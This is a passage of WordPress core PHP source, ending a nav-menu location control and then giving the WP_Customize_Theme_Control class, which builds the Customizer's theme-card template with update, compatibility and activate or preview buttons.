					echo '<option value="' . esc_attr( $value ) . '"' . selected( $this->value(), $value, false ) . '>' . esc_html( $label ) . '</option>';
				endforeach;
				?>
			</select>
		</label>
		<button type="button" class="button-link create-menu<?php echo $value_hidden_class; ?>" data-location-id="<?php echo esc_attr( $this->location_id ); ?>" aria-label="<?php esc_attr_e( 'Create a menu for this location' ); ?>"><?php _e( '+ Create New Menu' ); ?></button>
		<button type="button" class="button-link edit-menu<?php echo $no_value_hidden_class; ?>" aria-label="<?php esc_attr_e( 'Edit selected menu' ); ?>"><?php _e( 'Edit Menu' ); ?></button>
		<?php
	}
}
<?php
/**
 * Customize API: WP_Customize_Theme_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Theme Control class.
 *
 * @since 4.2.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Theme_Control extends WP_Customize_Control {

	/**
	 * Customize control type.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $type = 'theme';

	/**
	 * Theme object.
	 *
	 * @since 4.2.0
	 * @var WP_Theme
	 */
	public $theme;

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 4.2.0
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();
		$this->json['theme'] = $this->theme;
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 *
	 * @since 4.2.0
	 */
	public function render_content() {}

	/**
	 * Render a JS template for theme display.
	 *
	 * @since 4.2.0
	 */
	public function content_template() {
		/* translators: %s: Theme name. */
		$details_label = sprintf( __( 'Details for theme: %s' ), '{{ data.theme.name }}' );
		/* translators: %s: Theme name. */
		$customize_label = sprintf( __( 'Customize theme: %s' ), '{{ data.theme.name }}' );
		/* translators: %s: Theme name. */
		$preview_label = sprintf( __( 'Live preview theme: %s' ), '{{ data.theme.name }}' );
		/* translators: %s: Theme name. */
		$install_label = sprintf( __( 'Install and preview theme: %s' ), '{{ data.theme.name }}' );
		?>
		<# if ( data.theme.active ) { #>
			<div class="theme active" tabindex="0" aria-describedby="{{ data.section }}-{{ data.theme.id }}-action">
		<# } else { #>
			<div class="theme" tabindex="0" aria-describedby="{{ data.section }}-{{ data.theme.id }}-action">
		<# } #>

			<# if ( data.theme.screenshot && data.theme.screenshot[0] ) { #>
				<div class="theme-screenshot">
					<img data-src="{{ data.theme.screenshot[0] }}?ver={{ data.theme.version }}" alt="" />
				</div>
			<# } else { #>
				<div class="theme-screenshot blank"></div>
			<# } #>

			<span class="more-details theme-details" id="{{ data.section }}-{{ data.theme.id }}-action" aria-label="<?php echo esc_attr( $details_label ); ?>"><?php _e( 'Theme Details' ); ?></span>

			<div class="theme-author">
			<?php
				/* translators: Theme author name. */
				printf( _x( 'By %s', 'theme author' ), '{{ data.theme.author }}' );
			?>
			</div>

			<# if ( 'installed' === data.theme.type && data.theme.hasUpdate ) { #>
				<# if ( data.theme.updateResponse.compatibleWP && data.theme.updateResponse.compatiblePHP ) { #>
					<div class="update-message notice inline notice-warning notice-alt" data-slug="{{ data.theme.id }}">
						<p>
							<?php
							if ( is_multisite() ) {
								_e( 'New version available.' );
							} else {
								printf(
									/* translators: %s: "Update now" button. */
									__( 'New version available. %s' ),
									'<button class="button-link update-theme" type="button">' . __( 'Update now' ) . '</button>'
								);
							}
							?>
						</p>
					</div>
				<# } else { #>
					<div class="update-message notice inline notice-error notice-alt" data-slug="{{ data.theme.id }}">
						<p>
							<# if ( ! data.theme.updateResponse.compatibleWP && ! data.theme.updateResponse.compatiblePHP ) { #>
								<?php
								printf(
									/* translators: %s: Theme name. */
									__( 'There is a new version of %s available, but it does not work with your versions of WordPress and PHP.' ),
									'{{{ data.theme.name }}}'
								);
								if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
									printf(
										/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
										' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
										self_admin_url( 'update-core.php' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								} elseif ( current_user_can( 'update_core' ) ) {
									printf(
										/* translators: %s: URL to WordPress Updates screen. */
										' ' . __( '<a href="%s">Please update WordPress</a>.' ),
										self_admin_url( 'update-core.php' )
									);
								} elseif ( current_user_can( 'update_php' ) ) {
									printf(
										/* translators: %s: URL to Update PHP page. */
										' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								}
								?>
							<# } else if ( ! data.theme.updateResponse.compatibleWP ) { #>
								<?php
								printf(
									/* translators: %s: Theme name. */
									__( 'There is a new version of %s available, but it does not work with your version of WordPress.' ),
									'{{{ data.theme.name }}}'
								);
								if ( current_user_can( 'update_core' ) ) {
									printf(
										/* translators: %s: URL to WordPress Updates screen. */
										' ' . __( '<a href="%s">Please update WordPress</a>.' ),
										self_admin_url( 'update-core.php' )
									);
								}
								?>
							<# } else if ( ! data.theme.updateResponse.compatiblePHP ) { #>
								<?php
								printf(
									/* translators: %s: Theme name. */
									__( 'There is a new version of %s available, but it does not work with your version of PHP.' ),
									'{{{ data.theme.name }}}'
								);
								if ( current_user_can( 'update_php' ) ) {
									printf(
										/* translators: %s: URL to Update PHP page. */
										' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								}
								?>
							<# } #>
						</p>
					</div>
				<# } #>
			<# } #>

			<# if ( ! data.theme.compatibleWP || ! data.theme.compatiblePHP ) { #>
				<div class="notice notice-error notice-alt"><p>
					<# if ( ! data.theme.compatibleWP && ! data.theme.compatiblePHP ) { #>
						<?php
						_e( 'This theme does not work with your versions of WordPress and PHP.' );
						if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
							printf(
								/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
								' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
								self_admin_url( 'update-core.php' ),
								esc_url( wp_get_update_php_url() )
							);
							wp_update_php_annotation( '</p><p><em>', '</em>' );
						} elseif ( current_user_can( 'update_core' ) ) {
							printf(
								/* translators: %s: URL to WordPress Updates screen. */
								' ' . __( '<a href="%s">Please update WordPress</a>.' ),
								self_admin_url( 'update-core.php' )
							);
						} elseif ( current_user_can( 'update_php' ) ) {
							printf(
								/* translators: %s: URL to Update PHP page. */
								' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
								esc_url( wp_get_update_php_url() )
							);
							wp_update_php_annotation( '</p><p><em>', '</em>' );
						}
						?>
					<# } else if ( ! data.theme.compatibleWP ) { #>
						<?php
						_e( 'This theme does not work with your version of WordPress.' );
						if ( current_user_can( 'update_core' ) ) {
							printf(
								/* translators: %s: URL to WordPress Updates screen. */
								' ' . __( '<a href="%s">Please update WordPress</a>.' ),
								self_admin_url( 'update-core.php' )
							);
						}
						?>
					<# } else if ( ! data.theme.compatiblePHP ) { #>
						<?php
						_e( 'This theme does not work with your version of PHP.' );
						if ( current_user_can( 'update_php' ) ) {
							printf(
								/* translators: %s: URL to Update PHP page. */
								' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
								esc_url( wp_get_update_php_url() )
							);
							wp_update_php_annotation( '</p><p><em>', '</em>' );
						}
						?>
					<# } #>
				</p></div>
			<# } #>

			<# if ( data.theme.active ) { #>
				<div class="theme-id-container">
					<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">
						<span><?php _ex( 'Previewing:', 'theme' ); ?></span> {{ data.theme.name }}
					</h3>
					<div class="theme-actions">
						<button type="button" class="button button-primary customize-theme" aria-label="<?php echo esc_attr( $customize_label ); ?>"><?php _e( 'Customize' ); ?></button>
					</div>
				</div>
				<?php
				wp_admin_notice(
					_x( 'Installed', 'theme' ),
					array(
						'type'               => 'success',
						'additional_classes' => array( 'notice-alt' ),
					)
				);
				?>
			<# } else if ( 'installed' === data.theme.type ) { #>
				<# if ( data.theme.blockTheme ) { #>
					<div class="theme-id-container">
						<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">{{ data.theme.name }}</h3>
						<div class="theme-actions">
							<# if ( data.theme.actions.activate ) { #>
								<?php
									/* translators: %s: Theme name. */
									$aria_label = sprintf( _x( 'Activate %s', 'theme' ), '{{ data.name }}' );
								?>
								<a href="{{{ data.theme.actions.activate }}}" class="button button-primary activate" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _e( 'Activate' ); ?></a>
							<# } #>
						</div>
					</div>
					<?php $customizer_not_supported_message = __( 'This theme doesn\'t support Customizer.' ); ?>
					<# if ( data.theme.actions.activate ) { #>
						<?php
							$customizer_not_supported_message .= ' ' . sprintf(
								/* translators: %s: URL to the themes page (also it activates the theme). */
								__( 'However, you can still <a href="%s">activate this theme</a>, and use the Site Editor to customize it.' ),
								'{{{ data.theme.actions.activate }}}'
							);
						?>
					<# } #>

					<?php
					wp_admin_notice(
						$customizer_not_supported_message,
						array(
							'type'               => 'error',
							'additional_classes' => array( 'notice-alt' ),
						)
					);
					?>
				<# } else { #>
					<div class="theme-id-container">
						<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">{{ data.theme.name }}</h3>
						<div class="theme-actions">
							<# if ( data.theme.compatibleWP && data.theme.compatiblePHP ) { #>
								<button type="button" class="button button-primary preview-theme" aria-label="<?php echo esc_attr( $preview_label ); ?>" data-slug="{{ data.theme.id }}"><?php _e( 'Live Preview' ); ?></button>
							<# } else { #>
								<button type="button" class="button button-primary disabled" aria-label="<?php echo esc_attr( $preview_label ); ?>"><?php _e( 'Live Preview' ); ?></button>
							<# } #>
						</div>
					</div>
					<?php
					wp_admin_notice(
						_x( 'Installed', 'theme' ),
						array(
							'type'               => 'success',
							'additional_classes' => array( 'notice-alt' ),
						)
					);
					?>
				<# } #>
			<# } else { #>
				<div class="theme-id-container">
					<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">{{ data.theme.name }}</h3>
					<div class="theme-actions">
						<# if ( data.theme.compatibleWP && data.theme.compatiblePHP ) { #>
							<button type="button" class="button button-primary theme-install preview" aria-label="<?php echo esc_attr( $install_label ); ?>" data-slug="{{ data.theme.id }}" data-name="{{ data.theme.name }}"><?php _e( 'Install &amp; Preview' ); ?></button>
						<# } else { #>
							<button type="button" class="button button-primary disabled" aria-label="<?php echo esc_attr( $install_label ); ?>" disabled><?php _e( 'Install &amp; Preview' ); ?></button>
						<# } #>
					</div>
				</div>
			<# } #>
		</div>
		<?php
	}
}
